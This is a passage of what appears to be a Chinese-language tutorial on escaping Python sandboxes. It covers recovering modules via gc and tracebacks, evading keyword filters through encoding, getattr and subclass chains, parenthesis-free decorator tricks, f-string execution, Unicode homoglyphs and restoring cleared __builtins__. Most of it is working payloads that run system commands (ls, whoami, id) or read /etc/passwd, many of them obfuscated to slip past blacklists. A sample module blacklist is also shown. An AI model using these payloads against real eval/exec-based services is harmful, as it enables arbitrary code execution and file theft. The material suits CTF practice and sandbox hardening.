# ===== 1) 在 __main__ 里准备“演示被篡改”的目标对象 =====
secret_data = "TOP_SECRET"

def hidden_func():
print("[original] hidden_func called")

print("【初始状态】secret_data =", secret_data)
print("【初始状态】调用 hidden_func(): ", end="")
hidden_func()

# ===== 2) 模拟防御:从 sys.modules 删除所有已加载模块的引用 =====
# 这样做会让正常的 import 失效,无法通过 sys.modules 找回模块对象
for module in set(sys.modules.keys()):
if module in sys.modules:
del sys.modules[module]

# ===== 3) 绕过 import 限制:用内建导入器的 load_module 加载 gc 模块 =====
# __builtins__.__loader__ 是 BuiltinImporter(只能加载内建/冻结模块,如 sys、gc)
# 这里用它绕过 import,直接获取 gc 来枚举堆上的所有对象
gc = __builtins__.__loader__.load_module('gc')

print("[*] 通过 gc.get_objects() 扫描堆上的所有 Python 对象,寻找目标模块对象 ...")

mod_main = None
mod_os = None
for obj in gc.get_objects():
# 用 '__name__' 筛选出模块对象
if '__name__' in dir(obj):
if obj.__name__ == '__main__':
print("[+] 找到模块 __main__")
mod_main = obj
elif obj.__name__ == 'os':
print("[+] 找到模块 os")
mod_os = obj

# ===== 4) 篡改 __main__ 模块中的全局变量与函数 =====
print("[*] __main__ 中可见的目标属性:", [n for n in dir(mod_main) if n in {"secret_data", "hidden_func"}])

# 覆盖变量
mod_main.secret_data = "HACKED_SECRET"

# 覆盖函数
def hacked_hidden_func():
print("[hacked] hidden_func called!")

mod_main.hidden_func = hacked_hidden_func

# ===== 5) 验证篡改效果(注意:访问的依然是当前模块的全局名) =====
print("\n【修改后】secret_data =", secret_data)
print("【修改后】调用 hidden_func(): ", end="")
hidden_func()

# ===== 6) 额外演示:如果成功找回了 os 模块,就调用它的功能 =====
if mod_os:
print("\n[*] 使用找回的 os 模块列当前目录:")
print(mod_os.listdir('.'))
else:
print("\n[!] 未找到 os 模块对象(可能没有其它引用存活)")

另外在 3.11 版本和 python 3.8.10 版本中测试发现 gc.get_objects 会被 audit hook 监控。

利用 traceback 获取模块

raise Exception() 会创建一个异常对象,同时生成一条 traceback 链tb)。
tb 是一个单向链表,每个节点代表一次调用处的执行帧frame)。
我们可以通过:

  • tb.tb_frame 拿到当前节点的帧对象frame
  • tb.tb_next 走到下一段调用的 traceback
  • 在帧对象上用:
    • frame.f_globals 访问该帧所在模块的全局命名空间
    • frame.f_locals 访问该帧的局部变量
    • frame.f_back当前帧回溯到调用者帧

当我们遍历到目标作用域(例如 __main__ 的全局字典,或包含特定标识符的帧)后,就能直接修改那里的变量/函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys

# 目标:演示要被修改的全局对象(位于 __main__)
secret_data = "TOP_SECRET"

def hidden_func():
print("[original] hidden_func called")

# ========= 业务栈 =========
def level3():
# 这里只抛,不要捕;让 traceback 带上多层调用信息
raise Exception("Demo traceback chain")

def level2():
level3()

def level1():
level2()

# ========= 工具:从 traceback 链里找到目标 frame =========
def find_frame_in_tb(tb, want_key=None, module_name=None):
"""
从 traceback 链里定位满足条件的 frame:
- want_key: 在 f_globals 里必须含有这个 key(比如 'hidden_func')
- module_name: f_globals['__name__'] 必须等于它(比如 '__main__')
两个条件任一满足即可。
"""
cur = tb
while cur:
f = cur.tb_frame # 这里在 3.11 某些审计环境中可能触发 object.__getattr__ 事件
g = f.f_globals
if ((want_key and want_key in g) or
(module_name and g.get("__name__") == module_name)):
return f
cur = cur.tb_next
return None

# ========= 主流程 =========
if __name__ == "__main__":
print("【初始】secret_data =", secret_data)
print("【初始】调用 hidden_func(): ", end=""); hidden_func()

try:
level1()
except Exception as e:
# 1) 取到 traceback 链
tb = e.__traceback__ # 等价于 sys.exc_info()[2];保留原始链路
# 2) 在 traceback 链里找 __main__ 对应的 frame(或含有目标名的 frame)
frame = find_frame_in_tb(tb, want_key="hidden_func", module_name="__main__")
if not frame:
print("[-] 没在 traceback 链里找到目标作用域")
sys.exit(1)

g = frame.f_globals
print("[*] 命中作用域:", g.get("__name__"))

# 3) 修改全局变量与函数
g["secret_data"] = "HACKED_SECRET"
def hacked_hidden_func():
print("[hacked] hidden_func called!")
g["hidden_func"] = hacked_hidden_func

# 4) 验证结果(注意:依然通过当前模块的全局名访问)
print("\n【修改后】secret_data =", secret_data)
print("【修改后】调用 hidden_func(): ", end=""); hidden_func()

运行结果:

1
2
3
4
5
6
【初始】secret_data = TOP_SECRET
【初始】调用 hidden_func(): [original] hidden_func called
[*] 命中作用域: __main__

【修改后】secret_data = HACKED_SECRET
【修改后】调用 hidden_func(): [hacked] hidden_func called!

注意

  • Python 3.9 及常见“无审计”环境 :访问 tb.tb_frame 通常不会触发审计事件,利用链可直接成立。

  • Python 3.11 + 审计策略严格的环境 :访问 tb.tb_frame 可能触发 object.__getattr__ 或相关审计事件,会被审计钩子监控。

这不是版本必然拦截,而是具体环境有无安装审计钩子&拦截点覆盖到哪里的问题。

绕过基于字符串匹配的过滤

字符串变换

字符串拼接

在我们的 payload 中,例如如下的 payload,__builtins__ file 这些字符串如果被过滤了,就可以使用字符串变换的方式进行绕过。

1
2
3
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read()

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['fi'+'le']('E:/passwd').read()

当然,如果过滤的是 __class__ 或者 __mro__ 这样的属性名,就无法采用变形来绕过了。

base64 变形

base64 也可以运用到其中

1
2
3
4
5
6
7
>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('calc')
0

逆序

1
2
3
4
>>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
kali
>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
kali

进制转换

八进制:

1
2
exec("print('RCE'); __import__('os').system('ls')")
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")

exp:

1
2
3
s = "eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False])"
octal_string = "".join([f"\\{oct(ord(c))[2:]}" for c in s])
print(octal_string)

十六进制:

1
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")

exp:

1
2
3
s = "eval(eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False]))"
octal_string = "".join([f"\\x{hex(ord(c))[2:]}" for c in s])
print(octal_string)

其他编码

hex、rot13、base32 等。

过滤了属性名或者函数名

在 payload 的构造中,我们大量的使用了各种类中的属性,例如 __class____import__ 等。

getattr 函数

getattr 是 Python 的内置函数,用于获取一个对象的属性或者方法。其语法如下:

1
getattr(object, name[, default])

这里,object 是对象,name 是字符串,代表要获取的属性的名称。如果提供了 default 参数,当属性不存在时会返回这个值,否则会抛出 AttributeError。

1
2
3
4
5
6
7
8
>>> getattr({},'__class__')
<class 'dict'>
>>> getattr(os,'system')
<built-in function system>
>>> getattr(os,'system')('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh
>>> getattr(os,'system111',os.system)('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh

这样一来,就可以将 payload 中的属性名转化为字符串,字符串的变换方式多种多样,更易于绕过黑名单。

__getattribute__ 函数

__getattribute__ 于,它定义了当我们尝试获取一个对象的属性时应该进行的操作。

它的基本语法如下:

1
2
class MyClass:
def __getattribute__(self, name):

getattr 函数在调用时,实际上就是调用这个类的 __getattribute__ 方法。

1
2
3
4
>>> os.__getattribute__
<method-wrapper '__getattribute__' of module object at 0x7f06a9bf44f0>
>>> os.__getattribute__('system')
<built-in function system>

__getattr__ 函数

__getattr__ 是 Python 的一个特殊方法,当尝试访问一个对象的不存在的属性时,它就会被调用。它允许一个对象动态地返回一个属性值,或者抛出一个 AttributeError 异常。

如下是 __getattr__ 方法的基本形式:

1
2
3
class MyClass:
def __getattr__(self, name):
return 'You tried to get ' + name

在这个例子中,任何你尝试访问的不存在的属性都会返回一个字符串,形如 “You tried to get X”,其中 X 是你尝试访问的属性名。

__getattribute__ 不同,__getattr__ 只有在属性查找失败时才会被调用,这使得 __getattribute__ 可以用来更为全面地控制属性访问。

如果在一个类中同时定义了 __getattr____getattribute__,那么无论属性是否存在,__getattribute__ 都会被首先调用。只有当 __getattribute__ 抛出 AttributeError 异常时,__getattr__ 才会被调用。

另外,所有的类都会有__getattribute__属性,而不一定有__getattr__属性。

__globals__ 替换

在 Python2 __globals__ 可以用 func_globals 直接替换;

1
2
3
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals
''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__("__glo"+"bals__")

__mro____bases____base__ 互换

三者之间可以相互替换

1
2
3
4
5
6
7
8
9
10
11
12
13
''.__class__.__mro__[2]
[].__class__.__mro__[1]
{}.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[-1]
{}.__class__.__mro__[-1]
().__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__

过滤 import

python 中除了可以使用 import 来导入,还可以使用 __import__importlib.import_module 来导入模块

__import__

1
__import__('os')

importlib.import_module

importlib 是 Python 的导入机制接口模块,里面的 import_module() 函数相当于动态版的 import 语句。

1
2
import importlib
importlib.import_module('os').system('ls')

因为 importlib 不是内建的名字,它本身需要先 import importlib 才能用,所以有些鸡肋。

__loader__.load_module

__loader__load_module(name) 是老接口(PEP 302 时代,Py3.4 前),现在只在少数加载器(内建/冻结)还留了兼容层;多数现代加载器不再提供它。

__builtins____loader__ 通常是 BuiltinImporter / FrozenImporter只会加载内建/冻结模块,例如 sysgc 等,但是像 os标准库的纯 Python 模块不在它的能力范围内。

具体细节见绕过 audit hook 部分。

过滤了 []

如果中括号被过滤了,则可以使用如下的两种方式来绕过:

1
''.__class__.__mro__[-1].__subclasses__()[200].__init__.__globals__['__builtins__']['__import__']('os').system('ls')

__getitem__

调用 __getitem__() 函数直接替换;

1
2
3
4
# __getitem__()替换中括号[]
''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').system('ls')

((imp := (getattr((b := (next(c for c in ''.__class__.__mro__.__getitem__(-1).__subclasses__() if hasattr(getattr(c,'__init__',None),'__globals__'))).__init__.__globals__.get('__builtins__')), '__import__', None) or (getattr(b,'get',None) and b.get('__import__')))))('os').system('ls')

pop

pop() 方法既能取值,又会移除目标元素,可以用来替代被过滤掉的中括号访问。

  • 列表(list)lst.pop(i) → 取出并删除指定索引的元素(默认删除最后一个)。
  • 字典(dict)dict.pop(key) → 取出并删除指定键的值。

在沙箱逃逸链中,如果 [] 被过滤,可以用 pop() 取代:

1
2
3
4
5
# 用 pop() 取代下标和取键,结合 __getitem__() 完成链路
''.__class__.__mro__.__getitem__(-1).__subclasses__().pop(200).__init__.__globals__.pop('__builtins__').pop('__import__')('os').system('ls')

# 或者混合使用 __getitem__() 与 getattr()
getattr(''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__,'__builtins__').__getitem__('__import__')('os').system('ls')

注意

pop 会把条目删掉。比如你 __globals__.pop('__builtins__'),后续环境就少了内建绑定,可能导致后续表达式或模块加载行为异常。

过滤了 ''

str 函数

如果过滤了引号,我们 payload 中构造的字符串会受到影响。其中一种方法是使用 str() 函数获取字符串,然后索引到预期的字符。将所有的字符连接起来就可以得到最终的字符串。

1
2
3
4
5
6
7
8
>>> ().__class__.__new__
<built-in method __new__ of type object at 0x9597e0>
>>> str(().__class__.__new__)
'<built-in method __new__ of type object at 0x9597e0>'
>>> str(().__class__.__new__)[21]
'w'
>>> str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]
'whoami'

chr 函数

也可以使用 chr 加数字来构造字符串

1
2
3
4
5
6
>>> chr(56)
'8'
>>> chr(100)
'd'
>>> chr(100)*40
'dddddddddddddddddddddddddddddddddddddddd'

list + dict 构造任意字符串

使用 dict 和 list 进行配合可以将变量名转化为字符串,但这种方式的弊端在于字符串中不能有空格等。

1
2
>>> list(dict(whoami=1))[0]
'whoami'

__doc__

__doc__ 变量可以获取到类的说明信息,从其中索引出想要的字符然后进行拼接就可以得到字符串:

1
2
3
4
>>> ().__doc__.find('s')
19
>>> ().__doc__[19]+().__doc__[86]+().__doc__[19]
'sys'

bytes 函数

bytes 函数可以接收一个 ascii 列表,然后转换为二进制字符串,再调用 decode 则可以得到字符串

1
2
>>> bytes([115, 121, 115, 116, 101, 109]).decode()
'system'

过滤了 +

过滤了 + 号主要影响到了构造字符串,假如题目过滤了引号和加号,构造字符串还可以使用 join 函数,初始的字符串可以通过 str() 进行获取.具体的字符串内容可以从 __doc__ 中取,

1
2
3
4
>>> str().join((().__doc__[19],().__doc__[23]))
'se'
>>> list(dict(s_t_r=1))[0][::2]
'str'

过滤了数字

如果过滤了数字的话,可以使用一些函数的返回值获取。例如:

  • 0:int(bool([]))Flaselen([])any(())
  • 1:int(bool([""]))Trueall(())int(list(list(dict(a၁=())).pop()).pop())

有了 0 之后,其他的数字可以通过运算进行获取:

1
2
3
4
0 ** 0 == 1
1 + 1 == 2
2 + 1 == 3
2 ** 2 == 4

当然,也可以直接通过 repr 获取一些比较长字符串,然后使用 len 获取大整数。

1
2
3
4
>>> len(repr(True))
4
>>> len(repr(bytearray))
19

第三种方法,可以使用 len + dict + list 来构造,这种方式可以避免运算符的的出现

1
2
3
0 -> len([])
2 -> len(list(dict(aa=()))[len([])])
3 -> len(list(dict(aaa=()))[len([])])

第四种方法: unicode 会在后续的 unicode 绕过中介绍

过滤了空格

通过 ()、[] 替换

过滤了运算符

基础等价(值等价但无短路)

Python里 boolint 的子类:True==1, False==0。因此很多算术/位运算都能“凑”出相同布尔结果,但两边都会被求值

  • A or B
    • A | B
    • A + B(结果是 0/1/2bool(...) 后才是布尔)
    • bool(A) or bool(B) → 若 or 被禁,用 bool(A) | bool(B)
  • A and B
    • A & B
    • A * B(0/1;bool(...) 后等价)
  • A xor B
    • A ^ B

示例:

1
2
3
for a,b in [(1,1),(1,0),(0,1),(0,0)]:
A,B = bool(a), bool(b)
print(bool(A|B) == (A or B), bool(A*B) == (A and B), bool(A^B) == (A^B))

⚠️ 注意:

  • | & ^ + * 没有短路;右侧表达式一定会执行(副作用会发生)。
  • 对自定义对象,这些运算会调用 __or__/__and__/__xor__/__add__ 等,可能不是布尔逻辑

逻辑值“返回语义”复刻(短路值语义)

or 返回第一个真值或最后一个;and 返回第一个假值或最后一个。
可以用“索引小技巧”在**不写 or/and**的情况下复刻其返回语义(且不需要三目)。

  • X or Y

    1
    (X, Y)[1 - int(bool(X))]   # X 真→取索引0→X;X 假→取索引1→Y

    如果不能写减法,换:

    1
    (Y, X)[bool(X)]            # X 真→取索引1→X;X 假→取索引0→Y(次序调换一下)
  • X and Y

    1
    (X, Y)[int(bool(X))]       # X 真→取 Y;X 假→取 X
  • 真的需要短路副作用(只在必要时求值),可以把右值包成 lambda

    1
    2
    3
    4
    # X and f()  =>  X 真时才调用 f
    (lambda: X, lambda: f())[int(bool(X))]()
    # X or f() => X 假时才调用 f
    (lambda: X, lambda: f())[1 - int(bool(X))]()

“not” 的替代

not B

  • 1 - int(bool(B))
  • bool(B) ^ 1
  • (~bool(B)) & 1 (位取反再截断到 0/1)

“== / !=” 的替代

  • x == y
    • x in (y,) / x in [y] / {y}.__contains__(x)
    • not (x != y) → 用上面的 not 替代方案
    • 若允许比较运算:(x <= y) & (y <= x)(对不可比较类型要小心异常)
  • x != y
    • x not in (y,) 可能也被过滤;可用 1 - int(x in (y,))

组合逻辑的等价

  • (A and B) or C
    • bool(A&B) | bool(C)
  • A or (B and C)
    • bool(A) | bool(B&C)

一定记得加括号,因为位运算优先级和逻辑运算不同:
~ > ** > * / % > + - > << >> > & > ^ > | > 比较/逻辑

内置函数替代

map(func, iterable) 的意思是:把 iterable(可迭代对象,比如列表)里的每个元素,依次交给 func 处理,并返回一个结果序列

因此 map(bool, [...]) 相当于将列表中的每个成员的值都转换为 bool 类型。之后借助 any/all 实现逻辑运算。

  • 多个 orany([A,B,C]) → 被过滤可用 sum(map(bool, ...)) > 0
  • 多个 andall([A,B,C]) → 被过滤可用 min(map(int, ...)) == 1

过滤了 ()

利用装饰器 @

在 Python 中,装饰器是用 @ 符号声明的,并且被用来修改类或函数的行为。一般来说,装饰器接受一个函数或类作为参数,做一些处理后返回一个新的函数或类。

例如:

1
2
3
@D1
@D2
class A: pass

这段代码的含义是:**class A 先被 D2 装饰器修饰,再被 D1 装饰器修饰**。也就是:

1
A = D1(D2(A))

例如我们可以利用下面这段代码在无 () 的情况下实现任意命令执行:

1
2
3
@exec
@input
class a:pass

运行过程是:

  1. 先创建类对象
    • 解释器先执行 class a: pass 的类体,得到类对象 <class '__main__.a'>
  2. 准备装饰器可调用
    • 解析装饰器表达式,拿到两个可调用:builtins.inputbuiltins.exec
    • 注意:此时拿的是对象本身,并没有调用。
  3. 自下而上应用装饰器
    • 规则:@D1 @D2 等价于 a = D1(D2(a)),所以先应用 @input,再应用 @exec
  4. 应用 @input(最内层)
    • 实际执行:tmp = input(a)
    • 这里 input提示串str(a),也就是 "<class '__main__.a'>",所以你看到提示。
    • 你在提示后输入了一行:__import__('os').system("id")
    • 因而 tmp 现在是这个字符串"__import__('os').system(\"id\")"
  5. 应用 @exec(外层)
    • 实际执行:result = exec(tmp)
    • exec 会把上一步的字符串当作 Python 代码执行,于是运行了 os.system("id"),你看到 uid=... 的输出。
  6. 绑定回名字 a
    • 最终赋值:a = result,因为 exec 没有返回值,因此 **a 被绑定为 None**(原本的类对象不再绑定在 a 上)。

同理我们还可以构造出任意地址读写的 payload:

1
2
3
4
5
@print
@set
@open
@input
class a:pass
  1. 释器先执行 class a: pass,得到类对象 <class '__main__.a'>

  2. 应用最内层装饰器 @input 调用 input(a),这会把类对象 a 转成字符串,作为 input 的提示符:<class '__main__.a'>。假设你输入:/etc/passwd,则 input 返回字符串 "/etc/passwd"

  3. 应用 @open,调用 open("/etc/passwd") 以默认模式 'r' 打开文件,返回一个文件对象(可迭代,每次迭代是一行)。

  4. 应用 @set,调用 set(<file object>) 把文件对象迭代的所有行读出来,放进一个集合(去重、无序)。返回值是一个 set,内容是文件的所有行。

    Python 内置的 set 是一个可迭代对象的构造器,作用是从一个可迭代对象(iterable)构造一个集合类型(去重、无序)。

    Python 里的文件对象_io.TextIOWrapper)实现了迭代协议:

    • 它有 __iter__ 方法,返回自己

    • 它有 __next__ 方法,每次 next() 返回文件中的下一行

    1
    for line in open("/etc/passwd"): print(line)

    当你把文件对象传给 setset 会遍历文件对象,把每一行(包含换行符)作为一个元素加入集合。

    1
    print(set(open("/etc/passwd")))
  5. 应用 @print,调用 print(<set of lines>) 会把集合内容打印到屏幕上。print **返回 None**。

  6. 最终 a 被赋值为 None(因为最外层装饰器 print 返回值是 None)。

利用魔术方法

例如 enum.EnumMeta.__getitem__

使用上下文管理器 with

当过滤 () 时我们需要考虑一些函数的隐式调用,即某些过程中可能会在内部把某个属性当做函数调用,然后设置这些函数即可。

这里help 对象变成一个上下文管理器,并且 help.__enter__() 覆写成 license() 函数,然后使用 with 调用 help.__enter__() → license() 输出内容。

help 本质是 _sitebuiltins._Helper 类的实例:

1
2
>>> type(help)
<class '_sitebuiltins._Helper'>

这个类默认不实现 __enter____exit__ 方法,所以不能直接用 with help:

with上下文管理器(Context Manager) 语法,它的作用是:

  • 在代码块开始前做一些准备工作
  • 在代码块结束后自动清理资源(不管有没有出错)

上下文管理器必须实现两个方法:

  • __enter__(self) → 进入 with 代码块前调用,返回的值会赋给 as 后面的变量。

  • __exit__(self, exc_type, exc_val, exc_tb) → 离开 with 代码块时调用,不管有没有异常都会执行。

但是我们可以把 help 魔改成上下文管理器:

1
2
3
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None

这里主要做了两件事:

  1. help 的类动态添加 __enter__ 方法,指向刚才改过 _Printer__filenameslicense 对象。这样 with a: 执行时,__enter__ 会被调用 → 触发 license() → 读取文件。
  2. 给它加上 __exit__ 方法(返回 None 就好),保证 with 语句能正常退出。

之后用 with 触发读取:

1
with a: pass

ahelp 对象,with 语句会调用 a.__enter__() → 实际上是 license() → 打印 /etc/passwd 内容

完整代码:

1
2
3
4
5
__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with a: pass

f 字符串执行

f 字符串算不上一个绕过,更像是一种新的攻击面,通常情况下用来获取敏感上下文信息,例如过去环境变量

1
2
3
4
5
6
7
8
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}

# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}

也可以直接 RCE

1
2
3
4
>>> f'{__import__("os").system("whoami")}'
kali
'0'
>>> f"{__builtins__.__import__('os').__dict__['popen']('ls').read()}"

反序列化绕过

过滤了内建函数

eval + list + dict 构造

假如我们在构造 payload 时需要使用 str 函数、bool 函数、bytes 函数等,则可以使用 eval 进行绕过。

1
2
3
4
5
6
>>> eval('str')
<class 'str'>
>>> eval('bool')
<class 'bool'>
>>> eval('st'+'r')
<class 'str'>

这样就可以将函数名转化为字符串的形式,进而可以利用字符串的变换来进行绕过。

1
2
>>> eval(list(dict(s_t_r=1))[0][::2])
<class 'str'>

这样一来,只要 list 和 dict 没有被禁,就可以获取到任意的内建函数。如果某个模块已经被导入了,则也可以获取这个模块中的函数。

过滤了 ., 如何获取函数

通常情况下,我们会通过点号来进行调用__import__('binascii').a2b_base64

或者通过 getattr 函数:getattr(__import__('binascii'),'a2b_base64')

如果将 , 号和 . 都过滤了,则可以有如下的几种方式获取函数:

  • 内建函数可以使用eval(list(dict(s_t_r=1))[0][::2]) 这样的方式获取。

  • 模块内的函数可以先使用 __import__ 导入函数,然后使用 vars() 进行获取:

    1
    2
    >>> vars(__import__('binascii'))['a2b_base64']
    <built-in function a2b_base64>

unicode 绕过

Python 3 开始支持非 ASCII 字符的标识符(PEP 3131),也就是说,可以使用 Unicode 字符作为 Python 的变量名,函数名等。Python 在解析代码时,使用的 Unicode Normalization Form KC (NFKC) 规范化算法,这种算法可以将一些视觉上相似的 Unicode 字符统一为一个标准形式。

1
2
>>> eval == 𝘦val
True

相似 unicode 寻找网站:http://shapecatcher.com/ 可以通过绘制的方式寻找相似字符

下面是 0-9,a-z 的 unicode 字符

1
2
3
𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗
𝘢𝘣𝘤𝘥𝘦𝘧𝘨𝘩𝘪𝘫𝘬𝘭𝘮𝘯𝘰𝘱𝘲𝘳𝘴𝘵𝘶𝘷𝘸𝘹𝘺𝘻
𝘈𝘉𝘊𝘋𝘌𝘍𝘎𝘏𝘐𝘑𝘒𝘔𝘕𝘖𝘗𝘘𝘙𝘚𝘛𝘜𝘝𝘞𝘟𝘠𝘡

下划线可以使用对应的全角字符进行替换:

1
_

注意

Python 允许变量名里混合用普通的下划线 _全角下划线 _(U+FF3F)。但是变量名的第一个字符必须是字母(ASCII 或某些 Unicode 字母)或**普通的下划线 _**。如果第一个字符是全角下划线 _,Python 会直接在解析阶段报 SyntaxError,因为它不认为 _ 符合“变量名开头的合法字符规则”。

1
2
3
4
5
6
7
>>> print(__name__)
__main__
>>> print(__name__)
File "<stdin>", line 1
print(__name__)
^
SyntaxError: invalid character '_' (U+FF3F)

另外有些特殊的 Unicode 字符会在调用 .lower().upper() 时自动变成其他字符。比如 Kelvin 符号 (U+212A):

1
2
>>> print("K".lower())  # 结果是 'k'
k

绕过命名空间限制

部分限制

有些沙箱在构建时使用 exec 来执行命令,exec 函数的第二个参数可以指定命名空间,通过修改、删除命名空间中的函数则可以构建一个沙箱。例子来源于 iscc_2016_pycalc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def _hook_import_(name, *args, **kwargs):
module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi',
'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache',
'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip',
'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil',
'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools',
'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new',
'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib',
'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile',
'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer',
'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',
'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib',
'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2',
'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport']
for forbid in module_blacklist:
if name == forbid: # don't let user import these modules
raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
# normal modules can be imported
return __import__(name, *args, **kwargs)

def sandbox_exec(command): # sandbox user input
result = 0
__sandboxed_builtins__ = dict(__builtins__.__dict__)
__sandboxed_builtins__['__import__'] = _hook_import_ # hook import
del __sandboxed_builtins__['open']
_global = {
'__builtins__': __sandboxed_builtins__
}

...
exec command in _global # do calculate in a sandboxed
...
  1. 沙箱首先获取 __builtins__,然后依据现有的 __builtins__ 来构建命名空间。
  2. 修改 __import__ 函数为自定义的_hook_import_
  3. 删除 open 函数防止文件操作
  4. exec 命令。

绕过方式:

由于 exec 运行在特定的命名空间里,可以通过获取其他命名空间里的 __builtins__(这个__builtins__保存的就是原始__builtins__的引用),比如 types 库,来执行任意命令:

1
2
__import__('types').__builtins__
__import__('string').__builtins__

完全限制

在某些 Python 沙箱执行环境中,为了防止用户执行危险操作,会通过下面的方式清空 __builtins__

1
eval("...", {"__builtins__": {}}, {"__builtins__": {}})

这样做的效果是:

  • 阻止了访问 print, eval, open, __import__, object 等内置函数/类;
  • 即使写了 "__import__('os')",也会报错:因为你访问不到 __import__ 函数了。

注意

在 Python 中,eval(expr, globals=None, locals=None)(以及 exec)的参数解析规则是这样的:

  • 如果你显式传入了 globals 参数,并且它是一个字典,但其中没有__builtins__,解释器会自动插入一份 __builtins__(通常是对内置模块 builtins 的引用)。

  • 因此,仅仅将 globals/locals 传入空字典,并不能抹掉内建函数和对象;它们会被自动补回。例如:

    1
    eval("len([1,2])", {})  # ✅ 正常输出 2,因为自动补回了 builtins
  • 如果你想阻止访问内建对象,需要显式覆盖 __builtins__,比如:

    1
    2
    eval("len([1,2])", {"__builtins__": {}})   # ❌ NameError: len
    eval("__import__('os')", {"__builtins__": None}) # ❌ NameError: __import__
  • 你也可以放一个白名单 dict 作为 __builtins__,只允许有限的内建函数:

    1
    2
    safe_builtins = {"print": print}
    eval("print('ok')", {"__builtins__": safe_builtins}) # ✅ 只能用 print

例如:

1
2
3
4
5
6
7
>>> eval("__import__('os')", {"__builtins__": {}}, {})
Traceback (most recent call last):
File "<python-input-0>", line 1, in <module>
eval("__import__('os')", {"__builtins__": {}}, {})
~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "<string>", line 1, in <module>
NameError: name '__import__' is not defined

然而上述示例中清空的 __builtins__ 是“执行环境”的,而不是函数定义时保存的环境

这是因为一个 Python 函数对象,在它定义的时候,解释器就会把它的定义环境(即它所在模块的 globals())保存进 func.__globals__ 里了。也就是说就算之后你手动删掉了 globals()['__builtins__'],这个引用也早就存着原来的内容了(指向 builtins 模块)。

因此这种情况下需要通过某种方式找回 __builtins__,然后重新获得对内置函数(如 __import__, open, eval, os.system)的访问权,以便执行命令、读取文件等。

注意

“清空” __builtins__ 与删除 __builtins__ 中的函数是有区别的。

  • 删除内建模块中的名字指的是在当前进程唯一的 builtins 模块对象上移除绑定。

    1
    2
    import builtins
    del builtins.__dict__['eval'] # 等价于 del builtins.eval

